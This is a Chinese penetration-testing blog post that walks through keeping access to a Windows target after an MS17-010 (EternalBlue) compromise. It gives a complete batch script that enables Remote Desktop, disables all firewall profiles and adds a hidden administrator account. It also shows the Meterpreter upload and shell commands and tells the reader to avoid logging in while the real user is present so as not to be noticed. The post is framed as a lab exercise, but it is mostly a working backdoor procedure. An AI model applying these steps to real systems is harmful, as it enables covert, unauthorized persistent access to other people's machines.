[ windows权限维持 ] 利用永恒之蓝(MS17-010)漏洞取靶机权限并创建后门账户

🍬 博主介绍

👨‍🎓 博主介绍：大家好，我是 _PowerShell ，很高兴认识大家~
✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

1 实验的的整体思路：

先通过漏洞拿到shell
接着通过shell上传脚本，脚本内容为开启远程桌面、关闭防火墙、创建隐藏账户
接着远程登录目标主机将创建的账户完全隐藏
通过上述步骤就可以再用户无感的情况下创建后门账户

1.1 按照正常流程拿到shell

限免有文章详细讲解了怎么通过 MS17-010 去拿shell这里就不详细讲了，先跳到下面文章拿到shell再跟着一步步网下进行实验。

[ MSF使用实例 ] 利用永恒之蓝(MS17-010)漏洞导致windows靶机蓝屏并获取靶机权限

1.2 上传创建账号的脚本

1.2.1 脚本内容如下：

@echo off
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netsh advfirewall set allprofiles state off
netsh advfirewall set publicprofile state off
netsh advfirewall set privateprofile state off
netsh advfirewall set domainprofile state off

net user admin1$ admin1 /add
net localgroup administrators admin1$ /add

1.2.2 脚本解释

1.关闭回显

@echo off
关闭命令回显，使脚本运行时不显示每条命令本身，只显示输出结果

2.开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1:
使用WMIC（Windows Management Instrumentation Command-line）工具来允许远程桌面连接（Remote Desktop）
ServerName='%COMPUTERNAME%'
表示当前计算机名
call SetAllowTSConnections 1
调用方法以启用远程桌面连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f:
使用注册表编辑器（REG）添加或修改一个注册表项
HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server
指定要修改的注册表路径。
/v fDenyTSConnections指定要修改的值名称
/t REG_DWORD指定值的类型为DWORD
/d 00000000将该值设置为0（即禁用拒绝远程桌面连接）
/f强制覆盖现有的注册表项而不提示确认

3.关闭防火墙

netsh advfirewall set allprofiles state off:
使用Netsh命令关闭所有防火墙配置文件（域、专用、公用）
netsh advfirewall set publicprofile state off:
关闭公用配置文件的防火墙
netsh advfirewall set privateprofile state off:
关闭专用配置文件的防火墙
netsh advfirewall set domainprofile state off:
关闭域配置文件的防火墙

4.创建隐藏账户

net user admin1$ admin1 /add:
创建一个名为admin1$的用户，密码为admin1netlocalgroupadministratorsadmin1$ /add:
将用户admin1$添加到本地管理员组中

1.2.3 上传脚本：

upload /root/3389_attack_user.bat C:\\

1.3进入shell执行脚本

进入shell环境并修改编码

shell
chcp 65001

chcp 是 “Change Code Page” 的缩写。
65001 是代码页编号，代表 UTF-8 编码。

查看我们上传的脚本：3389_attack_user.bat
因为我们上传到了 c 盘根目录，所以我们先 cd 到 c 盘，再 dir

cd C:\\
dir

查看当前拥有用户

net user

执行脚本

3389_attack_user.bat

确认用户创建成功
net user 查看，看不到，因为我们创建的是隐藏账户

但我们可以正常连接我们的目标系统，说明创建成功

1.4 登录上去之后立马将我们创建的用户完全隐藏

这个之前有文章写了，这里就不多讲了，步骤一摸一样

[ 应急响应基础篇 ] Windows系统隐藏账户详解（Windows留后门账号）

2 注意：如果连接时出现有用户正在连接先别远程

如果远程时出现了如下提醒，那就先不要远程登陆，先放着，防止目标用户发现
出现下面提示的原因是目标主机存在安全策略，只能登陆一个账户
提示：
登录消息：其他用户当前已登录到此计算机。如果继续，则该用户必须断开与此计算机的连接。是否继续?

当我们可以直接连上的时候立马修改目标系统的安全设置，修改为可以多个用户同时登陆就可以了，解决方案在之前文章就有写道，这里不详细讲了，直接跳到下面文章即可。

[ 问题解决篇 ] 解决远程桌面安全登录框的问题

相关资源

1、[ MSF使用实例 ] 利用永恒之蓝(MS17-010)漏洞导致windows靶机蓝屏并获取靶机权限
2、[ 应急响应基础篇 ] Windows系统隐藏账户详解（Windows留后门账号）
3、[ 问题解决篇 ] 解决远程桌面安全登录框的问题
4、 各类问题解决杂记录
5、 应急响应入门到精通
6、[ 提升篇 ] 钓鱼实战系列
7、 vulnhub 综合靶场通关之路